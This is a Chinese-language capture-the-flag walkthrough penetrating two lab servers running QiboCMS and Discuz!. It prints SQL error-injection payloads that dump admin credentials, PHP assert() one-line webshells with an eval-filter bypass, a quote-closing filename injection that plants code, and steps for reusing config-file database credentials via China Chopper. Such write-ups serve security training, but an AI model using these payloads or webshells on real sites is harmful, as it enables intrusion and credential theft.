0×00 前言
本題算是一道較為綜合的滲透題,要求對兩個服務器系統進行滲透,第一個是基於齊博 CMS 的信息資訊平台 http:www.test.ichunqiu,第二個是基於 Discuz! 的論壇社區 http:bbs.test.ichunqiu。
這兩個 CMS 同樣能在網上找到許多漏洞,常用作滲透測試的練習靶機。根據提示,第 1 題要求找到咨詢平台的管理員賬號密碼;第 2 題需要登錄服務器后台,並插入木馬,再用中國菜刀連接,繼而找到在管理員桌面上的 flag 文件;第 3 題要求在論壇社區的數據庫中找到 admin 賬戶的 salt
值。
0×01 獲取 www.test.ichunqiu 后台登錄密碼
利用 SQL 報錯注入是獲取管理員賬號密碼的常見方法。在瀏覽器搜索齊博 CMS 的可利用漏洞,其中發現了一個 SQL 報錯注入漏洞,在 /member/special.php
中的 $TB_pre
變量未初始化,未作過濾,且直接與代碼進行拼接,注入發生后可在報錯信息中看到管理員的賬號密碼。詳情可參考:
下面打開 Firefox 瀏覽器,根據漏洞說明先任意注冊一個賬號:
登錄后點擊 會員中心 -> 專題管理 -> 創建專題,任意創建一個專題:
點擊專題名稱,在彈出的專題頁面中查看其 URL,並記錄下 id
值(此處 id=27
):
接下來訪問 http://www.test.ichunqiu/member/special.php
,並打開 HackBar 工具,按照漏洞報告中的格式填寫好 URL 和請求數據。注意 URL 中的 id
值要等於上述專題 ID,請求數據填入 SQL 報錯注入的 payload:
小貼士:為了方便使用 HackBar,可在瀏覽器右上角點擊 菜單 -> 定制,將 HackBar 拖到工具欄中。
從報錯信息中得知管理員賬號為 admin
,密碼的哈希值只有 26 位,因此修改一下 payload 的輸出值,再次注入,便可看到完整的密碼哈希值為 b10a9a82cf828627be682033e6c5878c
:
以上 payload 在漏洞報告的基礎上稍作修改,否則輸出不了完整的密碼哈希。
關於 SQL 報錯注入的可利用函數較多,本題選用了 extractvalue()
函數:
TB_pre=qb_members where 1 and extractvalue(1,concat(0,(select concat(0x7e,username,password) from qb_members limit 1)))-- a
也可以選用 updatexml()
函數:
TB_pre=qb_members where 1 and updatexml(1,concat(0,(select concat(0x7e,username,password) from qb_members limit 1)),0)--
以下是在傾旋的公開課中總結出來的 MySQL 數據庫常用十大報錯函數,建議去官方文檔查閱每個函數的用法,多看多練,熟能生巧:
最后利用 MD5解密工具 對密碼哈希值解密,得到密碼明文為 whoami!@#123
:
0×02 獲取目標服務器 1 管理員桌面的 FLAG 文件信息
獲取了管理員權限,相當於完成了 getshell 的一半。隨便搜搜可發現許多用於齊博 CMS getshell 的漏洞,下面選取兩個文件寫入漏洞進行復現。
后台頻道頁版權信息寫入木馬
第一個漏洞涉及兩個操作:一是在網頁底部版權信息中寫入一句話木馬,二是創建頻道靜態化頁面。漏洞報告中未給出審計過程,本人對此組合拳甚是佩服,詳情可參考:
先搜索到齊博 CMS 的默認登錄后台為 /admin/index.php
,遂嘗試訪問,發現后台路徑確實沒修改。再用賬號 admin
與密碼 whoami!@#123
登錄后台:
依次點擊 系統功能 -> 全局參數設置,在 網頁底部版權信息 中寫入一句話木馬 <?php @assert($_POST['cmd']); ?>
后保存設置:
這里為什么不用傳統的一句話木馬 <?php @eval($_POST['cmd']); ?>
呢?因為 CMS 對 eval()
函數進行了過濾,會將其轉變成 eva l()
:
所以此處能用 assert()
函數寫入木馬,也體現了 CMS 的寫入過濾不完全。接着點擊 系統功能 -> 頻道獨立頁管理 -> 添加頻道頁,在 頻道頁名字 處填上任意字符(此處以 sqli
為例),在 靜態文件名 處必須填上 .php
文件名,否則菜刀連接不上(此處以 sqli.php
為例):
點擊 提交 后,可在 頻道管理頁 中看到所添加的頻道頁,接下來一定要點擊 靜態化 按鈕,才能正常訪問 http://www.test.ichunqiu/sqli.php
,否則只會彈出 404 頁面:
在確認能夠正常 sqli.php
頁面后,准備 添加SHELL 進行菜刀連接:
成功連接后,在管理員桌面上看到了 flag 文件:
打開 flag 文件即可獲得 key{636bb37e}
,因此第 2 題答案就是 636bb37e
:
前台欄目投稿自定義文件名寫入木馬
第二個漏洞是在前台欄目投稿設置信息中的 自定義文件名 輸入框內觸發,因此需要“自定義內容頁文件名”的權限,不過我們已經有了管理員權限,故不必擔心此問題。詳情可參考:
首先用賬號 admin
與密碼 whoami!@#123
在前台登錄,並點擊 !我要投稿:
任選一欄目,在 我要投稿 處點擊 發表(此處以社會新聞欄目為例):
先在 其他設置 標簽頁下的 自定義文件名 輸入框中寫入木馬 x';@assert($_POST['cmd']);//y.htm
:
其中 x';
是為了閉合代碼中的左單引號,//y.htm
是為了使整體文件名有靜態網頁的后綴,並且注釋掉后面的代碼。注意此處不能用 eval()
函數構造木馬,與前文一樣會被過濾。
再回到 基本信息 標簽頁下,將帶 (*)
的必填信息填好后提交:
提交后訪問 http://www.test.ichunqiu/data/showhtmltype.php
,成功看到報錯信息:
接下來 添加SHELL 進行菜刀連接:
成功連接后,可在 /data/showhtmltype.php
源碼中看到所添加的木馬,印證了漏洞的存在:
查看管理員桌面上的 flag 文件與前文一致,此處不再贅述。
0×03 獲取 bbs.test.ichunqiu 數據庫中 admin 的 salt 值
第 3 題終於引入了 http://bbs.test.ichunqiu
論壇社區…的數據庫了。出題人好像為了方便我們直接進行本題,特意在主站根目錄下放了木馬 /2.php
,免去了上題插入木馬的過程:
所以下次想直接復現第 3 題,用菜刀連上此木馬即可:
我們在根目錄下可看到 /dedecms_bak
的文件夾,進一步搜索到 DEDECMS 的默認數據庫配置文件為 /data/common.inc.php
,打開一看,果不其然:
但是主機地址顯示為 172.16.12.3
,跟 http://bbs.test.ichunqiu
好像沒什么關系吧?其實不然,打開主機終端,用 nslookup
命令可得到論壇的 IP 地址就是 172.16.12.3
,順便可看到主站的 IP 地址為 172.16.12.2
:
注意到數據庫配置信息中是根用戶權限,因此若能連上 DEDECMS 在 172.16.12.3
上的數據庫,那么 Discuz! 在 172.16.12.3
上的數據庫也能被訪問到!於是,在菜刀 添加SHELL 的配置中填入數據庫信息(THUPL):
小貼士:如何在菜刀中填入數據庫配置信息請參考 黑站利器-中國菜刀的功能介紹和使用方法
<T>mysql</T> <H>172.16.12.3</H> <U>root</U> <P>opiznmzs&**(</P> <L>gbk</L>
保存設置后右鍵條目,選擇 數據庫管理,成功連接后可見服務器端的數據庫管理界面:
又經過一番搜索,得知 ultrax
正是 Discuz! 的數據庫,而 dedecms
顯而易見是 DEDECMS 的。我們的目標應該是 ultrax
數據庫中某個表的 salt
字段,這里必須要介紹一下 MySQL 自帶的 information_schema
數據庫,它提供了對元數據的訪問方式,是 MySQL 中的百科全書,其中在 information_schema.COLUMNS
表中記錄了本數據庫所有字段的相關信息。詳情可參考:
因此,只要輸入一條簡單的 SQL 語句,點擊 執行,有關 salt
字段的所有信息將會呈現:
SELECT * FROM COLUMNS WHERE COLUMN_NAME = 'salt'
最終我們在 ultrax
數據庫的 pre_ucenter_members
表中發現了 salt
字段的值為 9b47b6
:
到此為止,滲透測試的最終目標已達成。
意猶未盡的各位看官可接着往下看,既然我們把 172.16.12.3
上的數據庫給爆了,那也趁此機會,不妨把 172.16.12.2
上的數據庫也給爆了。經過搜索后發現,齊博 CMS 的默認數據庫配置文件為 /data/mysql_config.php
:
然后在菜刀 添加SHELL 的配置中修改數據庫信息:
成功連接后,在 qibov7
數據庫的 qb_members
表中發現第 1 題中管理員的賬號與密碼哈希值:
至此,本題的兩個服務器系統已被我們完全打穿。
0×04 小結
本題雖然有兩台目標服務器,但萬變不離其宗,熟練之后自然得心應手。在此過程中,我同樣也受益匪淺,細心的讀者會發現全文多次出現『搜索』二字,而滲透測試的核心正是收集目標系統的信息,挖掘其漏洞並加以利用。
以上是筆者之拙見,不足之處還望各位指出,有其他更猥瑣的滲透的思路歡迎前來交流。最后向以下參考 writeup 的作者表示致謝!
>>>>>> 黑客入門必備技能 帶你入坑和逗比表哥們一起聊聊黑客的事兒,他們說高精尖的技術比農葯都好玩~